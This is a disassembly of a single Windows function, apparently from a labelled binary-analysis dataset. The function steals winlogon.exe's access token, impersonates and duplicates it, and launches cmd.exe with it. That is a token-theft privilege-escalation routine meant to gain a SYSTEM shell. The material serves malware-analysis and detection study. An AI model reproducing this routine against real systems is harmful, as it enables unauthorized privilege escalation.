Function at 0x1400012b0
Capabilities:
Create process on windows
Impersonate user

Disassembly:
sub rsp, 0x138
mov rax, qword [0x14003e380]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov dword [rsp + 0x9c], 0
lea rcx, str.winlogon.exe
call fcn.1400011b0
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0
jne 0x140001327
lea rcx, [0x14003f910]
lea rdx, str.Process_winlogon.exe_not_found.
call fcn.140001730
mov rcx, rax
lea rdx, [0x140001c30]
call fcn.140001c10
mov dword [rsp + 0x9c], 1
jmp 0x1400016e2
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x120], 0
lea rcx, [rsp + 0xb8]
xor edx, edx
mov r8d, 0x68
call fcn.14002c1f0
lea rcx, [rsp + 0xa0]
xor edx, edx
mov r8d, 0x18
call fcn.14002c1f0
mov dword [rsp + 0xb8], 0x68
mov r8d, dword [rsp + 0x98]
mov ecx, 0x1000
mov edx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
jne 0x1400013ec
lea rcx, [0x14003f910]
lea rdx, str.Failed_to_open_process._Error:
call fcn.140001730
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x78]
mov edx, eax
call fcn.140001a50
mov rcx, rax
lea rdx, [0x140001c30]
call fcn.140001c10
mov dword [rsp + 0x9c], 1
jmp 0x1400016e2
mov rcx, qword [rsp + 0x90]
mov edx, 0x2000000
lea r8, [rsp + 0x128]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
jne 0x140001473
lea rcx, [0x14003f910]
lea rdx, str.Failed_to_open_process_token._Error:
call fcn.140001730
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x70]
mov edx, eax
call fcn.140001a50
mov rcx, rax
lea rdx, [0x140001c30]
call fcn.140001c10
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x9c], 1
jmp 0x1400016e2
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0
jne 0x1400014fb
lea rcx, [0x14003f910]
lea rdx, str.Impersonation_failed._Error:
call fcn.140001730
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x68]
mov edx, eax
call fcn.140001a50
mov rcx, rax
lea rdx, [0x140001c30]
call fcn.140001c10
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x9c], 1
jmp 0x1400016e2
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rcx, qword [rsp + 0x128]
mov edx, 0x2000000
xor eax, eax
mov r8d, eax
mov r9d, 2
lea rax, [rsp + 0x120]
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x28], rax
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0
jne 0x1400015ae
lea rcx, [0x14003f910]
lea rdx, str.Failed_to_duplicate_token._Error:
call fcn.140001730
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x60]
mov edx, eax
call fcn.140001a50
mov rcx, rax
lea rdx, [0x140001c30]
call fcn.140001c10
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x9c], 1
jmp 0x1400016e2
mov rcx, qword [rsp + 0x120]
mov edx, 1
lea r8, str.C:WindowsSystem32cmd.exe
xor eax, eax
mov r9d, eax
xor eax, eax
lea r10, [rsp + 0xb8]
lea rax, [rsp + 0xa0]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], rax
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jne 0x14000168b
lea rcx, [0x14003f910]
lea rdx, str.Failed_to_create_process._Error:
call fcn.140001730
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x58]
mov edx, eax
call fcn.140001a50
mov rcx, rax
lea rdx, [0x140001c30]
call fcn.140001c10
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x9c], 1
jmp 0x1400016e2
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14003fa40]
lea rdx, str.Process_created_successfully.
call fcn.140001730
mov rcx, rax
lea rdx, [0x140001c30]
call fcn.140001c10
mov dword [rsp + 0x9c], 0
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x54], eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140009c40
mov eax, dword [rsp + 0x54]
add rsp, 0x138
ret